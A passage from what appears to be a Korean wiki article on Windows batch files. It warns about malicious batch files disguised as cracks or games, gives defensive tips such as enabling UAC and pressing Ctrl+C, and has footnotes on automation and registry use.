꽤 강력한 기능을 가졌다는 것을 악용해서 프로그램 문법 강좌 예시 혹은 게임이나 기타 유용한 프로그램 따위로 위장하면서 그 내용물은 컴퓨터를 망가트리는, 사실상 바이러스나 다름없는 배치 파일들이 인터넷에 돌아다니는 경우도 있다. 어느정도냐면 지금 당장 유튜브,구글과 같은 웹사이트에 "배치파일로 바이러스 만들기"라고 쳐도 관련 영상,자료들이 쫙 나올정도이다. 이런 배치파일들은 불법 다운로드 게임 실행파일, 크랙, 키젠 이외에 다양한 프로그램 등으로 속여넘기는 악성 배치 파일들이 대표적이다. 또한 이것들은 백신도 감지하지 못하고 인터넷 등을 통해 퍼질 수 있기 때문에 특히 주의해야 한다.

때문에 배치 파일들을 받아 별 생각없이 그냥 실행하는 경우는 큰 곤경에 처할 수 있으니 안전을 생각한다면 귀찮더라도 반드시 사용자 계정 컨트롤을 활성화하고 최소한 실행 전에 바이러스 검사라도 돌려보는 편이 좋다. 전부는 아니더라도 어지간하면 백신에 잡힌다.

혹시 출처가 애매한 배치 파일을 실행했는데 컴퓨터 움직임이 뭔가 이상하다면 최후의 보루로 Ctrl + C를 연타해보자. 배치 파일은 실행 중간에 Ctrl + C로 실행을 중단시킬 수가 있다. 배치 파일에 지정된 외부 프로그램을 실행하고 있는 중이라면 당연히 반응하지 않겠지만, 그 외부 프로그램이 끝나고 배치 파일로 제어가 돌아왔을 때에는 중단이 가능하다.

[1] 한자어 배치(配置)가 아니고, 묶음이나 다발을 의미하는 영단어 Batch이다.[2] 서버와 관련된 일을 한다면 배치 파일을 지겹도록 만져볼 수 있는데, 특히 주기적으로 반복해야 하는 일 같은 것을 배치 파일을 예약 작업에 등록해두면 자동화가 되어 관리가 매우 편해지기에 배치 파일이 업무능률에 미치는 영향이 꽤 크다.[3] 또한 배치 파일이 가지는 강점은, 윈도우 자체 기능이기 때문에 별다른 프로그램의 설치 따위가 없어도 즉석에서 그냥 메모장 열어서 작성하면 바로 실행 가능한 결과물이 완성된다는 것.[4] 특히 평범한 유저 입장에서 데디케이티드 서버를 가동하는 경우는 배치 파일을 안 쓰는 경우가 더 드물 정도로 널리 쓰인다. 제작사에서 exe 방식으로 서버를 가동할 수 있게 제공한 게임들도 웬만해선 그냥 배치 파일로 가동하는 것이 보편적. 실제로 많은 해외 게임들의 서버 가동법 등의 튜토리얼을 보면 십중 팔구는 배치 파일 만들어서 실행하는게 나온다.[5] 윈도우 기능과 관련하여 자주 사용되는 부분이 바로 레지스트리 수정. 제대로 만들어두면 똑같은 문제가 재발했을 때, 복잡하고 긴 경로를 찾으며 헤멜 것도 없이 배치 파일만 실행하면 그만이라 레지스트리 수정과 관련해서는 거의 배치 파일이 등장한다.[6] 파이썬의 for문과 그나마 비슷한 편으로 다른 언어의 for문과는 조금 다르다. 루프, 제어문으로는 쓰기 힘들다.

분류